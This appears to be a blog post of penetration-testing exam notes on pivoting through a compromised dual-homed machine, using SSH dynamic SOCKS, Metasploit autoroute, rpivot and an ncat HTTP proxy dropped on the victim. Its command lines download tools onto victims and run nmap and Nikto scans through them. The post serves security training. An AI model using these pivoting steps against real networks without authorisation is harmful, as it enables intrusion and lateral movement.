Advanced Pivoting Tactics I learned during the Penetration Testing with Kali Linux Course (supplementary material)

How to create a REVERSED Dynamic SOCKS proxy that runs on the victim (alternative to Metasploit routing)

What is a dynamic SOCKS proxy? Well normally, when you compromised a system that has SSH running, with a multi-homed double+ NICs (one as and one as, you would

ssh -NfD 1080 root@victim

And then to run a nmap scan through that victim (the scans appear to be coming from your compromised victim)

echo 'socks4' >> /etc/proxychains.conf

Comment out ‘# socks4 9050’

proxychains nmap -sT -Pn -O -sV -sU

For non-SSHable machines without OpenSSH installed (before Windows 10) via Metasploit (restricted in exam)

You would pop a Meterpreter shell and run

sessions -C 'run autoroute'
use auxiliary/server/socks4a
run -j

And repeat the same proxychains command

However, there is a problem.

1. Metasploit REQUIRES a Meterpreter shell to use it’s internal routing system

2. Metasploit/Meterpreter usage is restricted to ONE machine on the OSCP exam

3. Therefore, you should restrict your usage of Metasploit/Meterpreter until you really need it, and rely mainly on netcat, ncat, and socat to catch shells.

The alternative…

You can create a reversed dynamic SOCKS proxy using this publicly available tool called rpivot. Simply git clone the repo

git clone --recursive

And download and unzip the released file with the Windows executable binary

wget -O rpivot.exe

Now drop rpivot.exe into the victim and run the client. Assume that me, the attacker is IP address and the compromised dual-homed machine is

Start your listener.

python --server-port 9999 --server-ip --proxy-ip --proxy-port 1080

Navigate to the directory on the victim’s Windows cmd.exe command line and run

rpivot.exe --server-ip --server-port 9999

Now repeat the process of editing your proxychains config and run the proxychained scan

proxychains nmap -sT -Pn -O -sV -sU

How to drop a HTTP Proxy on the victim with ncat

Alternatively, you can drop ncat.exe into your victim to create a more capable HTTP proxy listener. Which gives you several advantages.

1. You can run HTTP-proxy aware tools such as Firefox, BurpSuite, and Nikto through the proxy

2. As HTTP Proxy operates on Layer 7 (Application) of the OSI model, you can derive more data and perform pivoted HTTP, URL injection, SQL Injection, and XSS attacks through the proxy

Download ncat.exe and drop it on the victim

wget -O && unzip -d ncat && cd ncat

Now on the victim’s Windows command line run

ncat.exe --listen --proxy-type http 8080

Remember that the proxy listener and bound port is ON THE VICTIM (, therefore, you must comment out the previous socks4 1080 line in /etc/proxychains.conf and replace it with

http 8080

You can still use proxychains the way it is. Or, for proxy-aware apps, here’s a Nikto example to scan the new unlocked subnet using this proxy as a launching point for attacks

nikto -host -port 80 -proxy

I hope you enjoyed this portion of OSCP-Enhancement Skills!





Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s